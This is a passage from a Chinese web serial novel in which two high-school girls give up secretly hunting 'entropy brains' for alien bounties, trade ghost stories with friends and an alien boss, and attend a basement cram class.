ta把木杯贴在男人头顶,男人顿时如同丧失了灵魂般颓然跌落。面对楼下路人的惊呼,九千随手向下一指,男人的身影被凭空出现的光门吞噬。
九千向殷梭一勾手,光门从殷梭身旁浮现,里面跌出男人的身体。殷梭立刻空出一只手去接他,将两个受害者的重量全部压在自己身上。
屋顶上的人向众人躬身行了一个复杂的贵族礼,如同一个愚弄视线的魔术大师。剧院周围的人们不明所以,但还是对这场精彩的表演报以热烈的掌声。还有些人将魔术大师的表演认作其他意图,把手圈成喇叭大声欢呼:“安·芙洛伦·卡尔那丝!我们想念你!”
这人的话语激起一堆围观者的欢呼,掌声与喝彩更甚。
局院内的100歪着脑袋:“啊……即便有磁场阻断也可以转移……不是跳格子吗……”
魔术师张开双臂,坦然接受这些褒奖。赶在引起更多关注之前,ta向后仰倒,整个身子消失在模糊的光芒中,彻底隐去了身形。
殷梭身上两个失去意识的人也在渐渐恢复,光墙撤去的一瞬间,他们顿时被摄像头围困,女人茫然四顾,似乎不明白发生了什么,男人则在地上到处找自己的蝴蝶形。
殷梭甩掉身后的路人,扎进剧院取回刀剑。100笑吟吟地看着她,表情有些苦恼:“真抱歉,无信仰者。您的委托失败了,查阅典籍之事,要等待主的旨意了。”
殷梭抬起头,瞳仁盯着电子镜后100的金色眼睛:“你真的不知道熵脑是怎么产生的吗?熵脑几乎不在闹市出现,为什么这次会在奇点剧院?”
“我真的不知道。”100摇摇头,“但我知道,奇点剧院曾经的知名演员,安·芙洛伦·卡尔那丝,似乎在近日病逝了。”
“你是说那是她的灵魂?”殷梭咂舌,“熵脑真的是灵魂?”
“我也不知道。我只知道,安·芙洛伦·卡尔那丝年轻时,刚才那种舞蹈似乎在舞剧中广泛使用,而且……她去世前似乎正要进行《面具》的百年巡演。”100再次将手掌垂直贴在一处,拇指互扣,“愿主保佑她。”
此时此刻,在桌子底下偷听的颜阎把门关上了。听到面具,她和刘征兰交换了一个眼神。关上门的那一刻,两人都倒吸一口凉气。
“我*,歌剧魅影。”
“我天,安部公房。”
见没对上梗,两个人又互相看了一眼,嘿嘿笑起来。
“我刚帅不帅?”颜阎问。
刘征兰评价:“太招摇了点,我受不了这种。”
“救人啥感觉?”颜阎又问。
“刺激。”刘征兰深吸一口气,“他掉下来的时候我都吓死了,我紧急把自己堵在门口,疯狂开门关门,才缓解了一点重力势能。”
“没事,从我这儿看只有光一直闪,好像你只开了一次门似的。”
“那也挺吓人的。”
“至少观众很满意,你听都鼓掌了。”颜阎啪啪拍巴掌。
“假的,我们是浑水摸鱼。”
颜阎大笑,为了逗刘征兰,还专门在她面前扭起那种奇怪的舞蹈。刘征兰说我给你录下来,颜阎立刻老实了。
她拆了一包零食架上的雪饼,给刘征兰分了一块:“咱们收手吧,这钱真不好赚,而且看样子已经有人发现我们了。”
刘征兰掰了一半还给她:“也是,我们也没缺钱缺到张晓怡那个地步。兑了今天这个就算结束。”
“搞不明白,帮他们干活怎么也要抓人。”
“干活了不花钱,经济不流动,要我我也抓你。”
颜阎放空了一秒:“……唉你说葛朗台为什么没被抓?”
“……你别真信啊
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我讲冷笑话呢。”
“我知道你讲冷笑话我就是突然思考到了。”
“可能是金币纯度不够。”
“我们毕业后再卖了这些金币,到时候就知道纯度怎么样了。一点一点卖太招人怀疑。”
刘征兰突击:“提问:葛朗台哪部小说里的?”
“……你也知道我看书不多。”
“早知道了。”
“咱俩这么说下去这辈子都结束不了,赶紧动一动去兑硬币吧。”
关于她们怎么当上的文件夹猎人,应该被短暂地提起过,让我们从高二寒假说起。当时罗塞塔建立了一个名叫“驻榕城振兴路办事处(联合国属)”的小群,在群里举行寒假作业互抄行动。
而颜阎加错了群,只不过群里的人积极热心地为她解决作业,再加上她本人平时嫌烦,把三人小群以外的群消息全屏蔽了,导致她一直没能发现自己加错了群。
有天她搜自己和刘征兰关于熵脑的聊天记录,准备当冷笑话发给律易棋,结果定睛一看:嗯?怎么有别的群在讨论这东西?她定睛再看:这什么群!
她终于意识到,自己当初加的群不是暑假作业交流群,那个群的全名叫做“驻爬行文明银河系分部太阳系支队地球小组总办事处(刻石人属)”。
群内时不时发布熵脑相关的悬赏,但是并没有许多人响应。这种没有五险一金没人给交社保说出去也不是很有面子的工作谁要去做,有正经工作的人才不去呢。
颜阎和刘征兰看完之后,都觉得这东西很有意思。于是她们收拾包袱跑去悬赏指定的地点围观。然后她们惊喜地发现,那对木杯可以收集熵脑!
众所周知,学生是没有正经工作的。这种不需要学历阅历身份登记的不正经职业太适合她们啦!什么?危险?作为猎人死在宇宙,死后曝尸荒野前不着村后不着店没有烦人亲戚放丧乐送花圈没有焚尸炉小火烧烤大火收汁,这辈子不用上学不用上班不用社交不用背债,无需承担任何社会责任还能给朋友落下点金币花花,这可真是空调房里盖棉被——爽歪歪呀!
赚钱的路子近在眼前!两个人迅速开始到处扑杀熵脑,所过之处寸草不生,反正对于她们俩来说这就是一开门一关门的事。一开始也没什么人关注她们,后来业绩太好关注度变高,她们才谨慎地换上这身严严实实的打扮,力求不出现在任何外星生物的相机里。
她们也曾向康烁影抛出橄榄枝,但她觉得浪费时间,没有细听就拒绝了这份赚钱的邀请。律易棋……律易棋听说了,他听完之后放声大笑,拍着她俩的肩膀说有前途,当场邀请她们加入掮木。两人严词拒绝:“不了吧,我最怕审了,撑不住一秒的。”“我对任何主义都没有信仰,我搞不了这种。”
长达半年多的文件夹猎人生涯到此为。急流勇退是美德,此事在数学大题不会做跳过时体现得淋漓极致。她们对这种工作没什么多余的留恋,可能因为她们的脚还扎根于地球的土壳上,在束缚她们的规律湮灭之前,谁也无法真正从日常里挣脱手脚,无法摆脱白天黑夜、春夏秋冬,沐浴着同一颗恒星的热量。
呼叫中心的灯一关,拿马英妹的反光布罩住门口,偷偷摸摸把门开到教会里面,刘征兰把木杯往水池里一扣,里面蹦出一枚金币,正好被颜阎接住。她转身回了屋里,她的朋友却在圣水池边驻足。
刘征兰望着深渊般的圣水池,无论从什么角度看,漆黑的池低永远盯着她,让她想起捉过的螳螂一瞬不瞬的伪瞳孔。螳螂锯子般的前足仿佛也抵在她喉咙上,她动物性的本能令她浑身发毛,可是作为人的好奇心让她向圣水池中探头。
这个东西到底通往哪里?是什么让它里面蹦出金币?熵脑的归宿阿卡西是什么地方?神是什么?
她摘下眼镜往深渊中窥视,鼻尖已经碰到水面,漾起波状涟漪。她看到水中自己的倒影,倒影的她也看着自己,漆黑、深邃的眼睛彼此望着,令她的心降雪般一凛。
“刘征兰。”
刘征兰回过头,木杯被她撑起身子的手一推,咕咚落进水里。居然再也没有浮上来。
颜阎在门后望着她。
少女神情肃穆:“你要在这里结束吗?”似乎觉得自己的语气太过严厉,她想了想,补充道,“有什么想留下的吗?”
刘征兰幡然醒悟,一头扎进门后,示意颜阎关上门,捂着胸口直顺气:“好奇心上来了。不行,我还要搞懂宇宙是怎么运行的,死在这儿不值当。”
“没事,好奇心又不会真害死猫。”颜阎把自己挪到小圆桌边,“你要是真死在这儿我也支持你,至少你什么都知道了。”
“要是里面真有宇宙的奥秘,死这儿也不亏,但这个问题还不确定。”刘征兰摊手,“咱们先收一收情报再说吧。”
说是收集情报,但她们都隐约觉得,所谓宇宙的奥秘,神学的终点,这些事一辈子都不会有解答。她们靠在门边发了一会儿愣,颜阎问:“你说熵脑真的是灵魂吗?”
“别吧。”刘征兰道,“那咱们把呼叫中心从沙拉曼达手里拿回来那次抓的狮子是啥?怎么会有人的灵魂那么恶心啊。”
“有啊,奥巴拿拿。”
“笑了。”
“有灵魂真惨啊。我想死就是因为死了以后什么都没有,要是真的有轮回转世,那转世也根本不是我。”
“万一没有转世只有灵魂呢。”
“……那不是更恐怖了,你想一想,抑郁症的人死后也要被抑郁症纠缠。”
“……还真是,那人死后最好的归宿还真是停止思考归于虚无。但停止思考对我来说实在是太恐怖了。”
“Wee to my world。”
“什么world?”
“虚无主义监狱。”
“你别说星际文明还真有这监狱。”
“啊真有?”
“去吗?”
“不用了吧,高中本身不也是监狱吗?”
“活着就是监狱。”
“你说得对。这么一看外星人说的阿卡西、神国,估计也是监狱,只要能我思故我在的地方全都是监狱。”
“唉别说,前段时间康烁影给我讲了个怪谈故事,还真能让活着变得不是监狱。”
“还有这种怪谈?快给我讲讲。”
“我找找……找着了,在不远不远以前……”
96.都市传说讨论处
在不久不久以前,有一个农村长大的女孩。女孩上面有三个兄姊,下面还要看管几个堂亲的孩子。她家门口挂着一串红辣椒,红辣椒下面坠着一颗小小的铜铎。每天起床后,铎声空灵地在农村空旷的泥土路上晃动,她要在天亮前去喂鸡喂猪,然后再去上学。
她家的鸡棚非常不合规,那几乎是一个洞穴,是用旧沙发、烂棉布和烧火棍支起来的,每次跑警报她就藏在这里,离得很近,她还可以谎称自己躲去了铁道,旷一天课,坐在茅草堆里什么也不干,只发呆,偶尔睡一觉。
课余时间里,最有趣的活动就是“去铁道”。所有人站在月台上跟车厢里挥手,纯挥手,或者撅起屁股挺起胸脯,只要车厢里的人笑了他们就高兴。
家长不希望她去月台,那样的话就没人照顾弟弟妹妹。他们说让她早点回来,不然会碰见“抓走小孩子的妖怪”。这种妖怪在当地传说里很常见,听说它会抓走小孩子,或者夺走孩子们的记忆,让孩子从此变成另一个人。
女孩儿有点害怕,于是一直遵守家里人的宵禁时间,直到有一天,她姊姊要出去上师范了,两个人说了好多话,说到不想回家看弟弟妹妹,于是姊姊问她要不要去铁道,边看火车边聊天。
女孩儿同意了,以后再见到姐姐只有在寒暑假,她觉得现在出格一次没什么。临走前她去鸡棚喂鸡,却感觉鸡棚里的鸡很不对劲。
所有鸡都不叫,一点声音都没有,连那种毛茸茸的小黄鸡都没有声音,她抓起来一只,发现还活着,但是放到耳朵边却没有声音。这时她才发现不对劲,周围什么声音都没有,连风和自己的呼吸都听不见,只有铎声还响着,但响得比平时快多了,好像有什么人一直在推它。
女孩儿很害怕,转身跑回姊姊身边,什么也不敢说,只能拉着姊姊去铁道。
去铁道要从农村那种泥土路上走过去。农村的坟都直接建在田里,一般是一个鼓起的小土包,上面插着根一人高树苗,这种坟家家户户都有,走两步就能碰见一个。女孩儿平时一点都不怕,但是那一天却感觉周围都阴森森的,坟里随时都要爬出什么东西。那天还是多云,月亮一会儿有一会儿没有,地上她的影子也一会儿出来一会儿消失,她吓得不敢看,死死闭着眼睛。
因为恐惧,她没有发现,姊姊走得越来越快,等她注意到的时候,姊姊已经拉着她已经跑起来了。
她不敢多问,只能哭着狂奔。跑着跑着,她感觉不对劲,家里的铎声一直回荡在周围,就像是一直追着她们一样。
姊姊也跟她一样害怕,两个人手牵着手跑到铁道,这里正好换班,人非常多,扎到人群里,她们也不那么害怕了,姊姊这才有机会跟她说自己跑起来的原因。
她也听到了铎声,于是一回头,就看到一个特别特别高的人影,那个人影是一跳一跳地走的,跳得特别高,一跳有坟里的树苗那么高。这个时候女孩儿才知道,地上一会儿有一会儿没有的不是自己的影子,而是那个东西跳起来的影子。
两个人在月台上坐了好久,最后女孩儿心一横,叫了一个换班的铁道员工把她们送回家,回家之后她们把这些事告诉家里人,但是家里人都觉得这是她们出去玩的借口。女孩儿哭着闹着让家里人把铎摘下来,可家里人都不相信她。
那只铎直到她弟弟的孩子出生才摘下来,因为小孩子嫌吵,半夜总不睡觉。而她的姊姊去大城市上了师范,她也出门去打工,那一晚的东西再也没有出现过。
可是她有一年却收到了家里人的电话,家里人说姊姊失踪了。貌似不是被人拐走了,她的同学们说,她是自己跟着什么东西走的,叫她她也不回答,她就说有东西在叫我。有同学试图拉她,但她的力气大得惊人。好几个同学七手八脚将她按在宿舍里,但是有一天下课后她就再也没有回来。
女孩儿意识到,那一晚的东西从来没有放过她们,也许不久之后,她也会被带走。也许下一个被带走的,就是你、我、她……
“结束!”康烁影一拍巴掌,“鼓掌!”
“好棒。”“天才!”“讲故事大王!”
颜阎、刘征兰和律易棋纷纷鼓掌,温蒂妮冷笑了一声,十分不屑,但是也没人跟它计较。
今天相聚在这里,我们要感谢品牌赞助商温蒂妮!它不鸣则已一鸣惊人,消失一个多月后突然踹开莫妮儿(前莫妮卡)杂货店大门,让地球土著出来给它磕头。律易棋打着联机游戏,抽空探头一看,立刻翻过柜台凑到温蒂妮身边喊:“老大!我也要!”
自从坎冬旅游后,温蒂妮终于意识到,自己如今的财富,都是远离原生家庭才能实现的!它从此抛弃内耗专心事业,疯狂工作一个月后,决定找点乐子。
于是它免费为呼叫中心提供电视和小沙发,就为了用钱羞辱一下地球土著。不想三人毫无尊严,和律易棋一块儿挂在她身上,“姐姐”长“姐姐”短:“姐姐来我们这儿坐一坐吧我们给你点雪王。”
五人相聚在呼叫中心,开始吹捧温蒂妮。温蒂妮被这没尊严的样子整烦了,一脚蹬开挂着她求散财的康烁影,说你们还是玩自己的吧。
呼叫中心的窗外永远是血淋淋的夕阳,在无数次眺望中,女高中生已经分清夕阳中每一片云的位置,在西方还剩一点浓厚的红云,而东方的天已经泛出灰蓝,像是淤血肿块随时间的变化。根据太阳角度的变化,她们判断出被定格在窗外的是某个夏末,具体是哪一年呢?她们还搞不清。这种时间,路灯还没开启,而恒星的光热已经顺着灯线熄灭。夜晚的手合上居民楼的眼睛,一天中最为奇幻的逢魔之时来临了。
人类一合计——都这个时候了,整点夏夜特辑,来讲鬼故事吧!
颜阎首当其冲,以一则古老的鬼故事开篇:“传说有一个旅馆,旅馆第三层有一个房间,它可以住人,但是床头上有一本书绝对不能翻开。可是某天有个房客不听劝告,坚持翻开了那本书……”
康烁影捏紧刘征兰的胳膊。
“书上写着:血淋淋的大腿在一楼。接着,房客听到了模模糊糊的声响。”
温蒂妮转过脸。
“他又翻过一页,上面写着:血淋淋的大腿在二楼。门外传来了清晰的声音,是踢踢踏踏的上楼声。”
律易棋拖着脸等待下文。
“房客慌了,他拼命翻动书页,但书变得特别沉,他一次只能翻一页。他翻回上一页,上面写着:血淋淋的大腿在一楼。外面踢踢踏踏的声音又响起来。他又往后翻,上面写着:血淋淋的大腿在二楼。上楼的声音越来越近……”
“他翻来翻去翻来翻去翻来翻去翻来翻去翻到天亮,最后书上写着一行字:血淋淋的大腿累死了。”
康烁影和温蒂妮扑上来揍她。颜阎伸着手求饶:“这不是,这不是,这不是缓和一下气氛吗!”
律易棋挑刺:“他为什么不能合上书不管呢?”
“不知道哇。”颜阎爬回刚装好的沙发上,“鬼故事一般都有一些来由,比如自然崇拜啊,科技升级啊,社会动荡啊之类的。这种宾馆和书籍要素的鬼故事,大概是源自漂泊在外对未知环境和文化的恐惧吧。”
刘征兰的鬼故事很简短:“从前有一个男的,和女朋友吵架,失手把女朋友杀死了。处理了尸体后,他却发现衣服上贱的血怎么也洗不掉。他洗啊,洗啊,洗啊,一双手从身后覆盖上来,开始为他一起洗衣服。
“一个熟悉的声音在他耳边响起:‘你知道你为什么洗不掉血吗?’
“男人摇头。
“熟悉的声音说:‘因为你没有用乖乖牌洗衣粉!’”
温蒂妮无语地翻了个白眼。
律易棋评价:“这个是纯推销。”
“不一定哦。”颜阎从沙发上淌下来,“你看,整个故事里没有提到洗衣机,而且处理沾血衣服的方法居然是洗?正常人都会觉得要烧吧!”
“你是说男友也不是正常人了?”康烁影趴在小桌子上喝雪王。
颜阎摇手指:“不是,我是说这个故事应该比较古老,关于凶杀案、悬疑剧的传播率不是很广,感觉是零几年或者更早的事了。”
康烁影拿出手机查了下:“插入洗衣粉广告,那肯定是80年之后了,国内第一个电视广告是79年的事。”
“重点在洗衣粉!”刘征兰使用敏锐洞察,“现在用洗衣液比较多吧?用洗衣粉的年代,那应该是10年之前。”
“我家还用洗衣粉!”颜阎举手,“我周末就会在妈妈用洗衣机的时候往里面加一大勺洗衣粉,晾衣服的时候再去和妈妈一起拧干。”
虽说分析了这么多,但是情节本身完全没有爆点。律易棋敲定最终的结论:“这就是一个传统的女鬼故事加上一些洗衣粉广告商的怨恨。”
温蒂妮没有鬼故事,脑袋空空的企业家说了一个员工半夜猝死在大楼里闹鬼的故事,获得了所有人的一致同情。恼火的资本家说:“难道你们真指望这世界上有让人快乐的工作?又有快乐又有金钱,世界上哪有这种好事?”
碍于它是大老板,大家不敢揍它。但是都对它表示了鄙视。刘征兰推出律易棋,表示他的工作就符合他兴趣啊。温蒂妮至今不知道律易棋是干嘛的,以为就是个做地下生意的移民,当即露出寒冬般蔑视:“这个年纪有店,父母肯定挣不少。”
律易棋谦虚:“还好还好。没有父母。”
温蒂妮当他随口胡说,没什么反应。
下面就是康烁影刚才讲的怪谈。这是目前唯一的纯血恐怖故事,可专心破解恐怖故事背后社会性的颜阎再次提出异议:“带走孩子的妖怪,这个题材太常见了,一般是大人为了防止孩子走失、晚回家、被拐走编
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出来的,可是铎和带走记忆这两个要素完全没有意义啊。”
康烁影也不知道:“这是我妈跟我讲的祖传故事,应该是她老家传出来的。”
“而且铁道也很奇怪。”律易棋道,“你们这儿不远处就有铁道吧。”
“嗯,那算是个地区,就跟榕城一样。”颜阎伸手往窗外指,“我家离学校很近,晚上还能听见火车头呜呜呜的声音。不过现在不拉客,只运货。”
温蒂妮吃不到蛋糕,生气,独自摆弄沙发上颜阎带来的抱枕:“那说明这是个本地故事,你们这儿应该有人拍花子。”
四个人类齐齐盯着它。
温蒂妮发毛:“干什么?”
“你还知道拍花子。”律易棋感慨,“本地化做得真好,很通人性嘛。”
“……我弄死你们。”
最后是律易棋的小故事,他思前想后,讲了一个智械穿越时空发现自己星球毁灭了的科幻小故事,大家纷纷表示专有名词太多了听不懂。他于是换了个题材。
“静默运动都知道吧?”
大家点头。
“静默运动之后,大家是怎么逃跑的,知道吗?”
“不知道。”
律易棋神秘地笑:“静默运动结束后,一部分原本的员工留在诺斯特巨构继续维持巨构的运转,还有一些人害怕被追责,从巨构里逃走了。那是第三文明历史上第一次使用跳格子技术,当时这个技术还是一种未被探明的东西,像是一种神奇的魔法。有一些人说是泰雷恩特疯狂研究空想文明遗物的原因,还有些人说是人类共同体远超时代的技术——当然这些不是重点,我职业病犯了,让我们回到正轨。
“当时有一些人被送到了如今的隐者星系群,那是目前可知宇宙的边境,在当时还是一片荒芜。科学家和工程师在那里重建了文明。
“在隐者星系群的新世界,有一个在此地出生的孩子举起望远镜向天外看,那里微光闪烁,天体环伺,从望远镜的筒里,孩子看到无数岩石、冰块、钻石、沙尘,然而视线定格在某一刻星星上时,它眨了眨眼。
“那是一颗肉色的眼球,含着绿钻一样的眼睛。在几十光年外直直看进望远镜筒后的孩子眼中。这位可怜的小生灵颤抖着把望远镜筒往下移,希望刚才的一切是自己的幻觉,然而越是移动她便越恐惧,因为眼睛并非独立的个体,它镶嵌在一条长长的灰色长带上,仿佛是星环里的一颗尘埃,无数那样的眼睛盯着她,随着她的移动而移动。
“正在她吓呆的时候,长带开始转动,一开始的眼睛窥视般出现了一半,隔着遥远的星河与她再次对视。
“她哇地尖叫起来,放声痛哭,赶来的大人们听了她的描述,都举起望远镜去看,可那里只是一颗普通的行星。大人们安慰她那只是星星,而孩子大哭不止,直到长大后,都不敢仰望星空。她坚信,天上有什么在看着,而生命只是祂们的玩具。”
一个充满科幻要素的怪谈!大家纷纷鼓掌:“好哇!听起来就是理工科会流传的那种!”
律易棋到处鞠躬:“过奖过奖,一般一般。”
过度的自谦是骄傲,他弯腰两个来回,大家不让他鞠躬了。
说到天外世界,康烁影想起铃铛:“唉,我们不是说过带她跑团吗?什么时候搞?”
“暑假结束前吧。”刘征兰说,“到时候我们都有时间。”
“真是不好意思。”颜阎背着黑亮的小书包站起来,皱着脸朝所有人伸出垂死呼救的手,“主要是我,我又要去江扒皮的地下室补课了。”
“还去啊?”律易棋问,“天机不好用吗?”
“好用哇。”颜阎皱巴得像只上岸的水滴鱼,“但是我不可能从不及格到次次满分呀!只能假装自己在一点点提成绩。而且你要知道,我妈妈觉得我上补习班至少能稳住成绩,上补习班,就是让我妈妈安心!最近成绩上升,她刚觉得补习班有用了。而且乖乖上补习,至少能让她看到我的态度,稍微放心一点。属于是她失去了钱我失去了时间,但至少她获得了情绪价值。”
康烁影评价:“怎么感觉你家亏完了?”
颜阎摊手:“没办法,我家是这样的。我以后一定要把我妈松进老年大学让她体验一下。”
刘征兰拿起手机看了眼时间,挥手驱赶她:“你快去吧,再晚点老江扣你钱。”
颜阎苦着脸去了,刘征兰也准备回家给弟弟做饭。温蒂妮见她们都走了,也开门回自己办公室打拼,而康烁影从百忙之中抽出时间,盯着律易棋装电视,生怕他在这儿做什么手脚,完全不知道此人已经自由进出过好几次,还帮她们打扫过为生。
“啊对了。”颜阎一个猛回头,“记得把小蛋糕吃完!我下课要两个小时,回来都化了!”
“知道啦!”康烁影赶她,“快去吧你。”
97.法外之地下室
某小区14栋一单元遗漏,有斜坡和楼梯两种深入地下的方法,楼道里停满电动车,蚊子和抱团飞舞的小虫子虎视眈眈,人一过去就大快朵颐。
向左手边转弯,经过一段黑洞洞的过道,两边都是铁栅栏门,乍一看像是关精神病的医院,实际上是关抑郁电动车小三轮和麻将桌的灵薄狱,其中麻将桌时而刑满释放,被一些退休职工搬到地下室另一边玩耍,半夜再被关回来。
众多铁栅栏门里,有一扇里散发冷酷白光,拨开防蚊帘和栅栏门,一间地下室赫然出现。这里白墙剥落,电线裸露,两根led灯条和三个白炽灯诱惑周围蚊虫。墙角密密麻麻,全是历代学生的签名和网络热梗。东南角隔出一个弃用已久的厕所,其他地方全部摆满带桌蓝椅子,仔细一数居然有二十多张。不仔细看还以为这里是法外监牢,再仔细看还是法外监牢——因为这儿是补习班。
颜阎推门而入,惊起一片默写纸。她扒开糊在脸上的那一张看了看——全对!可恶啊!谁的!商博良的?那没事了。
本以为她是最早的,没想到柳令全已经在了。进门时她伏在笔记本上拼命背书,见到颜阎就抬起下巴打了个招呼。
椅子是靠墙摆放的,因为人太多,很多椅子被堆到地下室中央,这种位置很不好,老师一眼就能看到,开小差打小抄都不方便,可柳令全来得晚,嘴还不甜,不招老江喜欢,不管坐哪里都会被要求让座,她只坐在一个没人会抢的位置。幸好她迅速调整好了自己,开始没事就跟别人说老江坏话。
今天的柳令全戴着一副大嘴鱼耳钉,掐腰蓝衬衫搭黑色休闲裤,颜阎凑过去盯着那只香肠嘴大眼鱼看了一会儿,评价说:“全儿,你看起来像条鱼。”
“啥鱼被关在地下室啊。”柳令全翻白眼,埋头继续背笔记。
“传说有一个家族,全都是变态,他们会把家里的女人按在小溪里淹死,泡成巨人观欣赏。有些村民看到了死尸的长发,还以为是传说中的人鱼。几百年以来,那些死尸仍在那个家族地下室的水箱里……”
柳令全去看了一下厕所,只闻见细菌的体香。
她转头开始给颜阎挠痒痒。颜阎缩脖子提肩膀大叫:“杀人了!杀人了!”
成群结队进来的男同学被她俩震慑住了。柳令全边让开身子让他们过去,边转述颜阎的故事吓他们。一时间厕所的门开开关关。
这个时候老江也来了,她穿着黑色矮跟鞋和石榴色红裙子,一进门就问:“刚才谁叫的?杀猪呢?”
男生里有一个,名字拼音首字母是mgh,颜阎为其取外号为EP。EP看到老江,立刻上前恭维:“哇老师,你今天,啧啧,漂亮!”
明知道是漂亮话,但老江听了还是很开心,洁白的牙从粉色的小门里探出头。她故作生气道:“去死。以前不漂亮?”
换作别人可能就没话说了。可EP自有对策:“以前是普通美女,今天是天仙下凡!”
老江笑了。她是个相当年轻的老师,和学生的距离特别近,经常和同学聊天,也总是在学生的朋友圈下面评论,因此她在学生中也有拥趸,甚至有人跟她讨论恋爱问题。是颜阎最恐惧的那种老师。
柳令全不喜欢告状,没接她的话。EP倒是很积极,隔着老远把人鱼故事跟老江说了,老江听完双手乱抓,似乎要隔空捏住他的嘴:“呃呃呃……我最恶心这种故事了。”
EP立马撇清关系:“颜阎讲的。”
颜阎摊手。老江想一出是一出,上课上到一半就会突然给大家讲她学生时代讨厌的人和她的课是多么难抢,偶尔来几个鬼故事也是常事。
没想到老江指着她,笑里带着一丝咬牙切齿:“我就知道是你。你给我出去!我最讨厌有人讲这种故事了!”
颜阎搞不懂了。众所周知她情商不太高,她只能挠着头莫名其妙:“啊?我又咋了?”
老江恶狠狠地对她指指点点:“天蝎座就是喜欢这种东西。这就是我为什么讨厌天蝎座的人。”
“我是天秤。而且这和星座又有啥区别?”
老江没回答,她又抛出一个新的问题:“你mbti是什么?”
颜阎说:“IM King。”
老江翻了个白眼:“反正我们是ESTJ就讨厌你这种没逻辑的人。”
“我什么时候没逻辑了!”
很可惜的是她人缘不好,等于对着空气解释。于是她眨巴着眼睛,可怜兮兮地去干自己的事了。
自己的事指:死死按着身边的座位,有新进来的学生要坐她就龇牙。
EP问:“你不会给‘她’留着吧……”
“不行?”
EP想笑:“你跟她玩得好?”
“不好。”颜阎道,“她讨厌我。但总比跟你们坐好。你们又不会默写。”
“能屈能伸。”EP比出大拇指,“佩服。”
柳令全评价:“真没尊严。”
“尊严哪有扣钱重要哇!”颜阎举爪子抗议。老江听到了又过来批评了她一顿,说她光想着作弊,怪不得英语那么烂。
EP难得说了句人话,他鼓动老江也讲个鬼故事。老江最信这些玄学的东西,被他一恭维,立刻飘飘欲仙,当即展现双标特点,手一拍就讲起来:
“我上高中的时候,也有一身这样的红裙子,特漂亮。夏天最热的时候不用穿校服我穿着裙子去学校,结果昨天刚下过雨,我摔了个大马趴,里面穿的内裤都露出来了。
“班上有两个死绿茶,指着我笑,真想把她们嘴给撕叉!我们老师也是个贱人,居然也跟着一起笑!”
颜阎抱着胳膊钻到柳令全旁边:“感觉直到目前都是她的抱怨。”
柳令全正捂着耳朵拼命背书,看见她蹭过来,给她塞了一颗盗版费列罗,当作让她挨骂的赔礼:“我背书。”
颜阎听话地挪走了。
“恐怖的事在晚上!”老江还在讲,“那几个死绿茶想耍我,说要和我一起去食堂,结果她们平时巴结老师,老师就带她们一起去教师食堂吃饭了!没带我!我那个学校人多,吃饭必须占位,一个人打饭一个人占座,一个人还不是体育课,基本吃不到什么好东西。我就没吃饭,一个人去了食堂后门,结果我就看到一个红色的影子在那儿,一晃神就不见了。
“那天晚上,我回宿舍睡觉。忽然听到走廊里有人尖叫,隔壁房间的门砰砰砰响着,似乎有人在撞门。我下铺的女生也醒了,她从猫眼往外看,发现是白天嘲笑我的那几个人,她们满脸都是血,哭着扑到我们宿舍的门上疯狂敲门,一边敲一边把眼睛往猫眼上凑。
“她吓得不敢动弹。而我睡觉只穿内衣,赶紧把裙子套上出门看,结果她们一看到我就疯了一样尖叫,直到老师把她们带走。后来我听说,她们半夜去上厕所,下了床却感觉总有碰她们肩膀。她们互相吵了一会儿,把所有人都吵起来,面对面看着彼此,却感觉还是有东西在碰她们下巴。她们还以为是风或者小虫子,结果有一个女生准备回去睡觉的时候,发现桌子上的化妆镜里照出来一个红衣服的人影。人影的双脚离地悬在天花板上,衣角摇晃着拂过她们的脸……”
颜阎鼓掌:“恶有恶报,不错。老师怎么样了?”
老江又翻她白眼。
“那……那后续是什么?”
“肯定是鬼啊!”EP兴致高扬,“还能是什么!”
“没有科学点的解释?”
老江指着她:“不信就闭嘴。”转而又骂EP,“封建迷信!”但表情显然高兴一点。
老江骂人的时间里,栅栏门“嘎吱”一声,斜肩上衣的皇后走进来,蓬松的头发扎成一个斜马尾,脖子上挂着一串亮晶晶的碎钻项链。运动短裤下面露出白得晃眼的大腿,像两块奶酪。
教室里有些男生起哄:“穿得真清凉!”
老江在前面调试那个和地下室格格不入的投影屏幕,听到有人起哄就喊:“真猥琐。”
“我们在夸她呢!”EP带头澄清,“穿衣自由!我们可不敢说什么!”
“你们这种看见个女生就起哄的男的以后肯定找不到女朋友。”
“我们不找女朋友,现在谁找女朋友!”
老江骂着骂着,脸上露出一点笑容:“不找就不找吧,现在谁还谈恋爱。”
“老师你怎么不找男朋友?”
红裙子上的白脸蛋一板:“我找不找男朋友关你们什么事儿?去死。”
皇后一屁股坐到颜阎旁边的位置上,把她的包也压在上面。颜阎使劲儿把包扯出来,转眼瞟了她一下。
她给皇后留座位,倒不是真的想抄默写,其实是不想跟男生坐,这个补习班的男生味儿太大了。不管是生理上还是心理上。
但是和皇后坐也够折磨人的。她是那种一刻不说话就停不住的人,ADHD晚期,眼保健操时间脑子里都能排一出异形趁眼保健操没人睁眼入侵学校的大戏。可皇后是正经人,找她说一句话能挨十个白眼。
这么算起来,颜阎在这个补习班里光挨白眼了,怪不得她不爱来。还好她小学初中也是这么过来的,习惯了。高手就是这么寂寞。
她看了一眼皇后的桌子,没笔记,她不打算复习,很好!为了防止自己在尴尬里溺死,她立刻上来起哄:“女士女士,你也讲个鬼故事!都讲啦!”
皇后不咸不淡:“都讲了我就要讲?”
颜阎双手合十:“求求你啦求求你啦!”
“V我50。”
颜阎把空气货币拍在她手上。
皇后一把推开她:“滚滚滚。”
“讲一个嘛!”
皇后语气敷衍:“从前从前,有个二战,德军为封锁港口,每周一三五布雷,英军每周二四六扫雷,周日双方休息。某天英军偷懒,未按时扫雷,次日德军去布雷,‘嘭’,被炸沉了。落水德军被英军救起后,责怪英军不守时,英军说下次一定。”
颜阎听完评价道:“这哪里恐怖了?听起来像是双方刻板印象大赏。”
“它鼓励人们偷懒。”皇后语重心长,“人不能总是等着兔子撞木桩,德军触鱼雷。”
颜阎顶嘴:“世界是懒人推动的,要是没有懒人,就没有电梯。没有懒人,就没有飞机。”
“都是懒人,那士兵都不打仗了。”
“都是懒人,就没有战争了!”
皇后皮笑肉不笑地瞥了她一眼,正准备再说点什么,老江那边狠狠地拍了下桌子。
“怎么还有人没来?几点了?”
大家到处寻找认识的人。颜阎都不用找,没来的就是坐她旁边的另一位女士。她赶紧替她说话:“应该是有别的课耽误了。”
“为了别的课不来上我的课,扣钱!”老江开始在excel表上打字,增加这位
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女子的旷课记录。
“说不定只是放得晚呢!”
老江若有所思地停下罪恶地手指,眼睛望向皇后:“是这样吗?”
